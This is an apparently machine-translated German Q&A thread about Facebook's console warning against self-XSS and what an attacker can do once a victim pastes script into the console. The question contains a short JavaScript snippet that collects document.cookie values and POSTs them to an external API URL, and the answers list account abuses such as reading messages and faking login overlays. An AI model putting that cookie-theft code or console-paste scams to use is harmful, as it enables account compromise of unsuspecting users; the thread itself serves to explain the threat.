it-swarm.com.de

Facebooks Warnung vor Selbst-XSS

Ich habe kürzlich meine Browserkonsole auf Facebook geöffnet und wurde mit der folgenden Meldung begrüßt.

Halt!

Dies ist eine Browserfunktion für Entwickler. Wenn Ihnen jemand gesagt hat, Sie sollen hier etwas kopieren und einfügen, um eine Facebook-Funktion zu aktivieren oder das Konto einer anderen Person zu "hacken", handelt es sich um einen Betrug, der ihnen Zugriff auf Ihr Facebook-Konto gewährt.

Weitere Informationen finden Sie unter https://www.facebook.com/selfxss .

Mein erster Gedanke war, dass dies einfach übertrieben war, vielleicht um jene ahnungslosen Internet-Leute abzuschrecken, die blind Javascript kopieren und in die Konsole einfügen würden, in der Hoffnung, einen geheimen Abneigungsknopf freizuschalten.

Aber ich habe tatsächlich mehr darüber nachgedacht, wie Sie die Sitzungsdaten eines Benutzers über die Javascript-Konsole gefährden können.

Ich dachte an ein Skript, das sich über das document.cookie Variable und Posten aller Cookie-Daten an eine API. Ähnliches wie unten.

var cookies = document.cookie.split(';');
var xhr = new XMLHttpRequest();
xhr.open("POST", apiUrl, true);
xhr.setRequestHeader('Content-Type', 'application/json');

for(var i=0 ; i < cookies.length ; ++i) {
    var pair = cookies[i].trim().split('=');
    xhr.send(JSON.stringify({
        name: pair[0],
        value: pair[1]
    }));
}

Aber ich verstehe, dass das Hinzufügen des http-only Flag für ein Cookie bedeutet, dass nicht über Javascript oder Client zugegriffen werden kann.

Wie kann ein Angreifer Sie dazu bringen, Ihr Facebook-Konto nur durch Self-XSS zu gefährden?

11
Luke

In der Warnung geht es um "Zugriff auf Ihr Facebook-Konto", nicht um vollständige Kontrolle.

Self-XSS funktioniert wie jedes XSS. Sie können das httpOnly-Sitzungscookie zwar nicht lesen, aber Sie können:

  • lesen Sie alle Daten, die dem angegriffenen Benutzer zur Verfügung stehen (Nachrichten, geheime Gruppen, Profilinformationen usw.).
  • senden Sie beliebige Anfragen im Namen des angegriffenen Benutzers (Nachrichten senden, Beiträge erstellen usw.)
  • anzeige beliebiger Daten für den angegriffenen Benutzer (gefälschte Nachrichten oder Beiträge, Phishing-Angreifer usw.)
5
tim

Direkt zitieren aus Abe Miesslers Antwort :

"Cross-Site Scripting (XSS) -Angriffe treten auf, wenn ein Angreifer mithilfe einer Webanwendung schädlichen Code, im Allgemeinen in Form eines Browserseiten-Skripts, an einen anderen Endbenutzer sendet."

Ich möchte den letzten Teil dieser Definition hervorheben: "... an einen anderen Endbenutzer."

Um sich als XSS-Angriff zu qualifizieren, müssten Sie meiner Meinung nach eine Anfrage an eine Website senden und diese Website mit dem schädlichen Inhalt antworten lassen. Die Art und Weise, wie dies geschehen kann, wird normalerweise in zwei verschiedene Methoden unterteilt:

Wenn Sie Ihr Opfer davon überzeugen, blind Text in die Browserkonsole einzugeben, veranlassen Sie es im Grunde, Javascript-Skripte direkt auf seiner Seite auszuführen. Dies ist technisch gesehen kein XSS, aber abgesehen von der Semantik gibt es andere böswillige Dinge, die Sie mit den vollständigen Skriptausführungsfunktionen für ein Opfer tun könnten:

  • Erstellen Sie eine gefälschte Anmeldeseite oder fügen Sie Ihre eigenen Ressourcen hinz (oder Overlays).

  • Beiträge einreichen, andere Aktionen auf ihrer Seite ausführen (wie Beiträge mögen, Bilder einreichen, was auch immer)

Wie Sie bereits gesagt haben, verhindert das Setzen des Nur-http-Flags in einem Cookie, dass über die Konsole darauf zugegriffen werden kann. Dies ist jedoch nicht der einzige Angriffsvektor, der verfügbar ist, sobald Sie über Codeausführungsrechte verfügen.

1
thel3l